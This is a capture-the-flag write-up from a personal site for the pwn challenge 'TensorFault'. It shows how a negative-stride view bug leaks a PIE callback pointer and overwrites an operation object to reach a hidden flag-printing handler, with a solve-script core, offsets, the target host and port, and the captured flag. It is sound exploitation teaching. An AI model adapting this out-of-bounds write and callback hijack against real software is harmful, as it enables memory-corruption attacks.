Skip to content
Adam Omar Saleh

FlagYard CTF placeholder badge (unofficial)FlagYard CTFPwn

TensorFault

The view bounds check accepts negative strides, so a view can walk before the tensor's data allocation.

Competition
FlagYard CTF placeholder badge (unofficial)FlagYard CTF
Category
PwnMedium · estimated
Source status
Source-documented · not platform-verified
Document
PDF edition3 min read

Brief

The challenge

Category
PWN
Target
tcp.flagyard.com:16316 (port rotates per instance)

A "Mini Tensor Engine" lets you create tensors, create views over them with a custom offset/count/stride, read/write elements through those views, and execute a per-tensor operation.

TL;DR

The view bounds check accepts negative strides, so a view can walk before the tensor's data allocation. Each tensor's data sits immediately after its operation object (opcode, callback, argument). A backward view leaks the PIE address of the normal operation callback H. A hidden handler lives at H - 0x193; it prints the flag when the operation's opcode == 0x1337c0de and argument == 0x54454e534f52 ("TENSOR"). Using the same backward view we overwrite the operation object with those values plus callback = H - 0x193, then execute the operation.

No libc leak, no FSOP, no shell needed.

01

The service

Connecting shows a simple menu:

Text
=== TensorFault :: Mini Tensor Engine v1.0 ===1) Create tensor2) Create tensor view3) Write tensor element4) Print tensor view5) Execute operation6) Delete tensor7) Exit

A view is defined by (tensor_id, offset, count, stride) and every element access resolves to:

Text
addr = data_base + (offset + index*stride) * 8

02

The bug

The view creation validates the forward window but never rejects negative strides. With stride = -1 the view reads/writes downward from the tensor's data base, straight into whatever precedes the data buffer in the heap.

The tensor's data is allocated immediately after its operation object, so a backward view maps onto it like this (with offset = 0, stride = -1):

view indexaddressfield
view[8]data_base - 0x40operation opcode (+0x00)
view[7]data_base - 0x38operation callback (+0x08)
view[6]data_base - 0x30operation argument (+0x10)

03

Leaking the callback H

Create a 4-element tensor and a backward view (id=0, offset=0, count=32, stride=-1), then print it. The dump shows:

Text
[5] 0x6f5f726f736e6574      <- "tensor_o..." (the name string)[7] 0x55c908cd0778          <- H, the normal operation callback (PIE)

view[7] is the PIE address of the normal operation callback, H.

04

The hidden handler

Reading the code bytes around H (via another negative-stride view whose data base is pinned to a recovered heap address B2 = heap_base + 0xe0, with stride = (target - B2) / 8) reveals a function prologue just before H:

Text
H-0x198: ... c9 c3 55 48 89H-0x190: e5 48 81 ec b0 ...

The 55 48 89 e5 (push rbp; mov rbp, rsp) starts the hidden handler at:

Text
hidden_handler = H - 0x193

That handler compares the operation's opcode against 0x1337c0de and its argument against 0x54454e534f52 ("TENSOR"); if both match it prints the flag.

05

Triggering it

Using the same backward view we overwrite tensor 0's operation object, then execute the operation:

Text
view[8] = 0x1337c0de        # opcodeview[7] = H - 0x193         # callback -> hidden handlerview[6] = 0x54454e534f52    # argument ("TENSOR")-> Execute operation on tensor 0

The hidden handler runs, both checks pass, and the flag is printed.

Text
[*] normal callback H = 0x55c908cd0778[*] hidden_handler    = 0x55c908cd05e5[*] opcode/callback/argument overwritten; executing...===== OUTPUT =====FlagY{4c4b35f00e8c1f56bd6ba9c2caa1cea3}

Solve script

Full script in solve_flag.py; the core:

Python
c.create(4)                         # tensor 0vid = c.mkview(0, 0, 32, -1)        # backward view over the operation objectE, _ = c.read_view(vid)H = E[7]                             # leak normal callback (PIE)hidden = H - 0x193                  # hidden handler​c.write_view(vid, 8, 0x1337c0de)    # opcodec.write_view(vid, 7, hidden)        # callback -> hidden handlerc.write_view(vid, 6, 0x54454e534f52)# argument "TENSOR"​c.sl("5"); c.ru("id: "); c.sl("0")  # execute -> prints flag

Run it against the live instance:

Shell
python solve_flag.py 16316

Flag

Flag

FlagY{4c4b35f00e8c1f56bd6ba9c2caa1cea3}

Source-documented · not platform-verified

Takeaways

  • Signed/negative strides in an index formula are an OOB primitive in both directions; validating only the upper bound is not enough.

  • Objects allocated adjacent to a leakable buffer (here the operation object right before the tensor data) give both a PIE leak and a write target.

  • "Hidden" win functions are often a fixed offset from a leaked pointer; reading the surrounding code to find the prologue pins the exact address.

PDF edition

Writeup PDF

Formatted edition of this walkthrough, built from my source notes · 4 pages.